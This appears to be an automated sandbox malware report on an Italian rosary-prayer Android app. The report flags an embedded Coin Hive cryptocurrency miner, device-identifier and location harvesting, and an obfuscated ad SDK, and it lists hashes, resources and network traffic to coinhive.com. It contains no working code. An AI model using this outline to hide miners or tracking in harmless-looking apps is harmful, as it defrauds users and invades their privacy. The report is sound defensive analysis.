Analysis Report
Overview
General Information |
---|
Joe Sandbox Version: | 20.0.0 |
Analysis ID: | 400988 |
Start time: | 12:36:45 |
Joe Sandbox Product: | Cloud |
Start date: | 30.10.2017 |
Overall analysis duration: | 0h 5m 36s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Sample file name: | prsolutions.rosariofacileads_2017-10-02.apk |
Cookbook file name: | defaultandroidfilecookbook.jbs |
Analysis system description: | Android x86 5.1 |
Detection: | MAL |
Classification: | mal48.spyw.bank.andAPK@0/251@1/0 |
Detection |
---|
Strategy | Score | Range | Reporting | Detection | |
---|---|---|---|---|---|
Threshold | 48 | 0 - 100 | Report FP / FN |
Classification |
---|
Signature Overview |
---|
Click to jump to signature section
Location Tracing: |
---|
Queries the phones location (GPS) | Show sources |
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:281 | API Call: | ||
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:287 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->getLocation:125 | API Call: |
Operating System Destruction: |
---|
Lists and deletes files in the same context | Show sources |
Source: com.vxjxu.jkhfn1870.VastUtils;->deleteRecursive:88 | API Calls in same method context: |
E-Banking Fraud: |
---|
Loads a webpage with cache disabled | Show sources |
Source: com.vxjxu.jkhfn1870.MraidView;->initSettting:97 | API Call: |
Bitcoin Miner: |
---|
Uses Coin Hive Javascript Bitcoin Miner | Show sources |
Source: Lprsolutions/rosariofacileads/RosarioFacile;->onCreate(Landroid/os/Bundle;)V | Method string: |
Networking: |
---|
Monitors network connection state | Show sources |
Source: com.vxjxu.jkhfn1870.VastUtils$NetworkUtil;->startWatchingNetworkConnection:11 | API Call: |
Performs DNS lookups | Show sources |
Source: unknown | DNS traffic detected: |
Urls found in memory or binary data | Show sources |
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: opzioni.xml, menu.xml, rosario.xml, player_menu.xml, main.xml, AndroidManifest.xml | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: | ||
Source: classes.dex, android | String found in binary or memory: |
Uses HTTP for connecting to the internet | Show sources |
Source: com.vxjxu.jkhfn1870.ImageBanner$2;->run:33 | API Call: | ||
Source: com.vxjxu.jkhfn1870.ImageTask;->doInBackground:18 | API Call: | ||
Source: com.vxjxu.jkhfn1870.MraidView$2$1;->run:7 | API Call: | ||
Source: com.vxjxu.jkhfn1870.MraidView$6;->run:33 | API Call: | ||
Source: com.vxjxu.jkhfn1870.NetworkThread;->run:43 | API Call: | ||
Source: com.vxjxu.jkhfn1870.OverlayAd$3;->run:33 | API Call: | ||
Source: com.vxjxu.jkhfn1870.SendIntegrationError$1;->run:61 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util$NativeMraid;->run:16 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Vpaid$1;->run:20 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Vpaid$2;->run:27 | API Call: |
Uses HTTPS | Show sources |
Source: unknown | Network traffic detected: | ||
Source: unknown | Network traffic detected: |
Checks an internet connection is available | Show sources |
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:59 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:63 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->checkInternetConnection:8 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->checkInternetConnection:9 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getConnectionType:103 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getConnectionType:104 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getNetworksubType:187 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getNetworksubType:188 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->isConnectionFast:257 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->isConnectionFast:258 | API Call: | ||
Source: com.vxjxu.jkhfn1870.VastUtils$NetworkUtil;->checkConnection:5 | API Call: | ||
Source: com.vxjxu.jkhfn1870.VastUtils$NetworkUtil;->checkConnection:6 | API Call: |
Loads a webpage with cache disabled | Show sources |
Source: com.vxjxu.jkhfn1870.MraidView;->initSettting:97 | API Call: |
Opens an internet connection | Show sources |
Source: com.vxjxu.jkhfn1870.ImageTask;->doInBackground:11 | API Call: | ||
Source: com.vxjxu.jkhfn1870.MraidView$2$1;->run:5 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util$NativeMraid;->run:9 | API Call: | ||
Source: com.vxjxu.jkhfn1870.VideoAd$1$1;->run:5 | API Call: |
Stealing of Sensitive Information: |
---|
Has permission to query the current location | Show sources |
Source: submitted apk | Request permission: | ||
Source: submitted apk | Request permission: |
Checks if a SIM card is installed | Show sources |
Source: com.vxjxu.jkhfn1870.Util;->getCarrier:98 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getSupportsJson:229 | API Call: |
Reads the serial number of the device | Show sources |
Source: Lcom/vxjxu/jkhfn1870/UserDetails;->getImei()Ljava/lang/String; | Method string: |
Data Obfuscation: |
---|
Uses reflection | Show sources |
Source: com.vxjxu.jkhfn1870.ImageBanner;-><init>:17 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:41 | API Call: |
Spreading: |
---|
Accesses external storage location | Show sources |
Source: com.vxjxu.jkhfn1870.AirPlay;->startVideoAd:598 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getSupportsJson:234 | API Call: | ||
Source: com.vxjxu.jkhfn1870.VastUtils$FileUtil;->updateExternalStorageState:16 | API Call: | ||
Source: com.vxjxu.jkhfn1870.VideoAd$1;->launchNewHttpTask:3 | API Call: | ||
Source: com.vxjxu.jkhfn1870.VideoAd;->downloadVideo:17 | API Call: | ||
Source: com.vxjxu.jkhfn1870.VideoAdActivity$3;->run:2 | API Call: |
System Summary: |
---|
Classification label | Show sources |
Source: classification engine | Classification label: |
Reads shares settings | Show sources |
Source: prsolutions.rosariofacileads.Opzioni;->onCreate:7 | API Call: | ||
Source: prsolutions.rosariofacileads.Player;->SettaggioIniziale:196 | API Call: | ||
Source: prsolutions.rosariofacileads.Player;->onResume:269 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Caching;->getJson:28 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Caching;->getVideoAdJson:31 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Caching;->getVideoAdJson:34 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Caching;->isSmartwallAd:37 | API Call: | ||
Source: com.vxjxu.jkhfn1870.SDKIntializer;->isSDKEnabled:98 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails$DeviceUuidFactory;-><init>:7 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getDoc:171 | API Call: |
Requests potentially dangerous permissions | Show sources |
Source: submitted apk | Request permission: | ||
Source: submitted apk | Request permission: | ||
Source: submitted apk | Request permission: |
Anti Debugging: |
---|
Potentially drops DEX files | Show sources |
Source: Initial APK | File created: | ||
Source: Initial APK | File created: |
Malware Analysis System Evasion: |
---|
Accesses android OS build fields | Show sources |
Source: com.vxjxu.jkhfn1870.Util;->getManufacturer:178 | Field Access: | ||
Source: com.vxjxu.jkhfn1870.Util;->getPhoneModel:196 | Field Access: |
Queries several sensitive phone informations | Show sources |
Source: Lcom/vxjxu/jkhfn1870/VastXmlParser;-><init>(Ljava/io/Reader;)V | Method string: | ||
Source: Lcom/vxjxu/jkhfn1870/UserDetails;->getImei()Ljava/lang/String; | Method string: | ||
Source: Lcom/vxjxu/jkhfn1870/SetPreferences;->setValues(Landroid/content/Context;)Ljava/util/List; | Method string: | ||
Source: Lcom/vxjxu/jkhfn1870/VastXmlParser;-><init>(Ljava/io/Reader;)V | Method string: | ||
Source: Lcom/vxjxu/jkhfn1870/VastXmlParser$Creative;-><init>(Lcom/vxjxu/jkhfn1870/VastXmlParser;Lorg/xmlpull/v1/XmlPullParser;)V | Method string: | ||
Source: Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject; | Method string: | ||
Source: Lcom/vxjxu/jkhfn1870/SetPreferences;->setValues(Landroid/content/Context;)Ljava/util/List; | Method string: |
Queries the unique operating system id (ANDROID_ID) | Show sources |
Source: com.vxjxu.jkhfn1870.UserDetails$DeviceUuidFactory;-><init>:11 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:46 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:71 | API Call: |
Hooking and other Techniques for Hiding and Protection: |
---|
Uses Crypto APIs | Show sources |
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:314 | API Call: | ||
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:319 | API Call: | ||
Source: com.vxjxu.jkhfn1870.SetPreferences;->setPreferencesData:320 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInSHA:10 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInSHA:13 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInSHA:14 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInMd5:154 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInMd5:157 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->setImeiInMd5:158 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->convertStringToMD5:22 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->convertStringToMD5:25 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->convertStringToMD5:26 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->convertStringToSHA:33 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->convertStringToSHA:36 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->convertStringToSHA:37 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:54 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:57 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinMd5:58 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:73 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:76 | API Call: | ||
Source: com.vxjxu.jkhfn1870.Util;->getAndroidIdinSHA:77 | API Call: |
Language, Device and Operating System Detection: |
---|
Checks if phone allows installing non-market apps | Show sources |
Source: com.vxjxu.jkhfn1870.Util;->isInstallFromMarketOnly:267 | API Call: |
Queries the SIM provider name (SPN - Service Provider Name) | Show sources |
Source: com.vxjxu.jkhfn1870.Util;->getCarrier:99 | API Call: |
Queries the WIFI MAC address | Show sources |
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:64 | API Call: |
Queries the network operator name | Show sources |
Source: com.vxjxu.jkhfn1870.Util;->getNetworkOperator:183 | API Call: |
Queries the unqiue device ID (IMEI, MEID or ESN) | Show sources |
Source: com.vxjxu.jkhfn1870.UserDetails$DeviceUuidFactory;-><init>:25 | API Call: | ||
Source: com.vxjxu.jkhfn1870.UserDetails;->getImei:33 | API Call: |
Antivirus Detection |
---|
Yara Overview |
---|
Initial Sample |
---|
No yara matches |
---|
PCAP (Network Traffic) |
---|
No yara matches |
---|
Dropped Files |
---|
No yara matches |
---|
Memory Dumps |
---|
No yara matches |
---|
Unpacked PEs |
---|
No yara matches |
---|
Screenshot |
---|
Created / dropped Files |
---|
No created / dropped files found |
---|
Contacted Domains/Contacted IPs |
---|
Contacted Domains |
---|
Name | IP | Active | Malicious | Antivirus Detection |
---|---|---|---|---|
coinhive.com | 94.130.90.152 | true | true |
Contacted IPs |
---|
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
IP | Country | Flag | ASN | ASN Name | Malicious |
---|---|---|---|---|---|
94.130.90.152 | Germany | 24940 | HETZNER-ASDE | false | |
8.8.8.8 | United States | 15169 | GOOGLE-GoogleIncUS | false | |
74.125.192.188 | United States | 15169 | GOOGLE-GoogleIncUS | false |
Static File Info |
---|
General | |
---|---|
File type: | |
TrID: |
|
File name: | prsolutions.rosariofacileads_2017-10-02.apk |
File size: | 33610190 |
MD5: | fc1e08187de3f4b7cb52bd09ea3c2594 |
SHA1: | 6241e89839c4a15472c963c4cce57dd31017daf4 |
SHA256: | 22581e7e76a09d404d093ab755888743b4c908518c47af66225e2da991d112f0 |
SHA512: | 2d403c996fccac54364db5fdca9ec8bd7a814eebced4f7c234024dc8299be90d261b0c6b93637ffda2c54f4839c20a3473ec8a26d09d46c219ac14637ca5e9fe |
File Content Preview: | PK..............E6............AndroidManifest.xml.VKo.W.>.Gb........v.b.I.)..U2!..)A.B.)u.....r..U%....+.,.`.EUU......T]#V]T....g.en.3..x.....9.y..cG)A..D.e.V.h..._...p.....g...W......HYD9.,p.x.......F"D6....o.....?..(.g./..`.......w......~.....&......... |
File Icon |
---|
Static APK Info |
---|
General | |
---|---|
Label: | Recitiamo il Rosario |
Minimum SDK required: | 5 |
Target SDK required: | 18 |
Version Code: | 22 |
Version Name: | 22 |
Package Name: | prsolutions.rosariofacileads |
Is Activity: | true |
Is Receiver: | false |
Is Service: | false |
Requests System Level Permissions: | false |
Play Store Compatible: | true |
Activities |
---|
Name | Is Entrypoint |
---|---|
prsolutions.rosariofacileadsprsolutions.rosariofacileads.RosarioFacile | true |
prsolutions.rosariofacileadsprsolutions.rosariofacileads.Player | |
prsolutions.rosariofacileadsprsolutions.rosariofacileads.Opzioni | |
prsolutions.rosariofacileadscom.vxjxu.jkhfn1870.SmartWallActivity | |
prsolutions.rosariofacileadscom.vxjxu.jkhfn1870.BrowserActivity | |
prsolutions.rosariofacileadscom.vxjxu.jkhfn1870.VideoAdActivity |
Receivers |
---|
Permission Requested |
---|
|
|
|
|
Certificate |
---|
Name: | classes.dex |
Issuer: | O=PRSolutions |
Subject: | O=PRSolutions |
Resources |
---|
Name | Type |
---|---|
outro2.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
nomepadre.mp3 | MPEG ADTS, layer III, v1, 80 kbps, 44.1 kHz, Stereo |
introgaudiosi2.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi3.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi2.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi1.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi4.jpg | JPEG image data, JFIF standard 1.01 |
pallino.png | PNG image, 21 x 21, 8-bit colormap, non-interlaced |
luminosi2.jpg | JPEG image data, JFIF standard 1.01 |
introdolorosi5.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi4.jpg | JPEG image data, JFIF standard 1.01 |
luminosi4.jpg | JPEG image data, JFIF standard 1.01 |
madonna.jpg | JPEG image data, JFIF standard 1.01 |
dolorosi1.jpg | JPEG image data, JFIF standard 1.01 |
icon.png | PNG image, 72 x 72, 8-bit/color RGBA, non-interlaced |
gloriosi3.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi5.jpg | JPEG image data, JFIF standard 1.01 |
outro.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
luminosi3.jpg | JPEG image data, JFIF standard 1.01 |
introluce6.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
introgloriosi5.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
gloriosi4.jpg | JPEG image data, JFIF standard 1.01 |
salveregina.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi2.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi1.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi3.jpg | JPEG image data, JFIF standard 1.01 |
luminosi1.jpg | JPEG image data, JFIF standard 1.01 |
introdolorosi4.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
introgaudiosi6.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi3.jpg | JPEG image data, JFIF standard 1.01 |
icon.png | PNG image, 48 x 48, 8-bit/color RGBA, non-interlaced |
MANIFEST.MF | ASCII text, with CRLF line terminators |
gaudiosi5.jpg | JPEG image data, JFIF standard 1.01 |
luminosi3.jpg | JPEG image data, JFIF standard 1.01 |
opzioni.xml | DBase 3 data file (1064 records) |
gloriosi2.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi4.jpg | JPEG image data, JFIF standard 1.01 |
luminosi2.jpg | JPEG image data, JFIF standard 1.01 |
introluce5.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
introgloriosi4.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
CERT.SF | ASCII text, with CRLF line terminators |
dolorosi5.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi3.jpg | JPEG image data, JFIF standard 1.01 |
dolorosi1.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi2.jpg | JPEG image data, JFIF standard 1.01 |
resources.arsc | data |
introdolorosi3.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
introgaudiosi5.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
gloria.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
menu.xml | DBase 3 data file (1004 records) |
dolorosi2.jpg | JPEG image data, JFIF standard 1.01 |
icon.png | PNG image, 36 x 36, 8-bit/color RGBA, non-interlaced |
gloriosi5.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi4.jpg | JPEG image data, JFIF standard 1.01 |
luminosi2.jpg | JPEG image data, JFIF standard 1.01 |
luminosi5.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi1.jpg | JPEG image data, JFIF standard 1.01 |
rosario.xml | DBase 3 data file (1708 records) |
gaudiosi3.jpg | JPEG image data, JFIF standard 1.01 |
luminosi1.jpg | JPEG image data, JFIF standard 1.01 |
introluce4.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
introgloriosi3.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
credo.mp3 | MPEG ADTS, layer III, v1, 80 kbps, 44.1 kHz, Stereo |
litanie.mp3 | Audio file with ID3 version 2.3.0, contains: MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi4.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi2.jpg | JPEG image data, JFIF standard 1.01 |
CERT.RSA | data |
padrenostro.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
player_menu.xml | DBase 3 data file (1204 records) |
gaudiosi1.jpg | JPEG image data, JFIF standard 1.01 |
introdolorosi2.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
introgaudiosi4.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi5.jpg | JPEG image data, JFIF standard 1.01 |
dolorosi1.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi4.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi3.jpg | JPEG image data, JFIF standard 1.01 |
luminosi1.jpg | JPEG image data, JFIF standard 1.01 |
luminosi4.jpg | JPEG image data, JFIF standard 1.01 |
avemaria.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
gaudiosi2.jpg | JPEG image data, JFIF standard 1.01 |
introluce3.mp3 | MPEG ADTS, layer III, v2, 64 kbps, 22.05 kHz, Stereo |
introgloriosi2.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi3.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi5.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi1.jpg | JPEG image data, JFIF standard 1.01 |
main.xml | DBase 3 data file (1176 records) |
rosariovuoto.png | PNG image, 480 x 480, 8-bit/color RGBA, non-interlaced |
luminosi5.jpg | JPEG image data, JFIF standard 1.01 |
introgaudiosi3.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi4.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi3.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi2.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi5.jpg | JPEG image data, JFIF standard 1.01 |
luminosi3.jpg | JPEG image data, JFIF standard 1.01 |
introdolorosi6.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
AndroidManifest.xml | DBase 3 data file (4068 records) |
dolorosi5.jpg | JPEG image data, JFIF standard 1.01 |
gaudiosi1.jpg | JPEG image data, JFIF standard 1.01 |
luminosi5.jpg | JPEG image data, JFIF standard 1.01 |
introluce2.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
dolorosi2.jpg | JPEG image data, JFIF standard 1.01 |
gloriosi4.jpg | JPEG image data, JFIF standard 1.01 |
madonnasfondo.jpg | JPEG image data, JFIF standard 1.01 |
luminosi4.jpg | JPEG image data, JFIF standard 1.01 |
introgloriosi6.mp3 | MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo |
classes.dex | Dalvik dex file version 035 |
gloriosi5.jpg | JPEG image data, JFIF standard 1.01 |
Network Behavior |
---|
Network Port Distribution |
---|
TCP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Oct 30, 2017 12:37:02.559267998 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.559367895 CET | 5228 | 48457 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:02.559730053 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.560914040 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.560945034 CET | 5228 | 48457 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:02.773508072 CET | 5228 | 48457 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:02.773562908 CET | 5228 | 48457 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:02.773575068 CET | 5228 | 48457 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:02.773941994 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.774029016 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.774091005 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.800649881 CET | 5228 | 48457 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:02.800888062 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.804325104 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:02.804359913 CET | 5228 | 48457 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:02.804841995 CET | 48457 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:03.868417978 CET | 6513 | 53 | 192.168.1.33 | 8.8.8.8 |
Oct 30, 2017 12:37:03.941587925 CET | 53 | 6513 | 8.8.8.8 | 192.168.1.33 |
Oct 30, 2017 12:37:07.812782049 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:07.812953949 CET | 5228 | 36450 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:07.816754103 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:07.818176985 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:07.818274021 CET | 5228 | 36450 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:08.035185099 CET | 5228 | 36450 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:08.035216093 CET | 5228 | 36450 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:08.035233021 CET | 5228 | 36450 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:08.035425901 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:08.035464048 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:08.035485029 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:08.055358887 CET | 5228 | 36450 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:08.055629969 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:08.057971001 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:08.057992935 CET | 5228 | 36450 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:08.058295965 CET | 36450 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.745940924 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.746010065 CET | 5228 | 36877 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:17.746381044 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.747528076 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.747581005 CET | 5228 | 36877 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:17.960366011 CET | 5228 | 36877 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:17.960393906 CET | 5228 | 36877 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:17.960565090 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.960601091 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.971606016 CET | 5228 | 36877 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:17.971796036 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.975219965 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:17.975260019 CET | 5228 | 36877 | 74.125.192.188 | 192.168.1.33 |
Oct 30, 2017 12:37:17.975703955 CET | 36877 | 5228 | 192.168.1.33 | 74.125.192.188 |
Oct 30, 2017 12:37:23.418400049 CET | 59362 | 53 | 192.168.1.33 | 8.8.8.8 |
Oct 30, 2017 12:37:23.516786098 CET | 53 | 59362 | 8.8.8.8 | 192.168.1.33 |
Oct 30, 2017 12:37:25.915740013 CET | 51827 | 53 | 192.168.1.33 | 8.8.8.8 |
Oct 30, 2017 12:37:26.055433035 CET | 53 | 51827 | 8.8.8.8 | 192.168.1.33 |
Oct 30, 2017 12:37:26.056488991 CET | 34361 | 443 | 192.168.1.33 | 94.130.90.152 |
Oct 30, 2017 12:37:26.056544065 CET | 443 | 34361 | 94.130.90.152 | 192.168.1.33 |
Oct 30, 2017 12:37:26.056629896 CET | 34361 | 443 | 192.168.1.33 | 94.130.90.152 |
Oct 30, 2017 12:37:26.058927059 CET | 34361 | 443 | 192.168.1.33 | 94.130.90.152 |
Oct 30, 2017 12:37:26.058954954 CET | 443 | 34361 | 94.130.90.152 | 192.168.1.33 |
Oct 30, 2017 12:37:26.208116055 CET | 443 | 34361 | 94.130.90.152 | 192.168.1.33 |
Oct 30, 2017 12:37:26.208591938 CET | 34361 | 443 | 192.168.1.33 | 94.130.90.152 |
Oct 30, 2017 12:37:26.211185932 CET | 443 | 34361 | 94.130.90.152 | 192.168.1.33 |
Oct 30, 2017 12:37:26.211203098 CET | 443 | 34361 | 94.130.90.152 | 192.168.1.33 |
Oct 30, 2017 12:37:26.211213112 CET | 443 | 34361 | 94.130.90.152 | 192.168.1.33 |
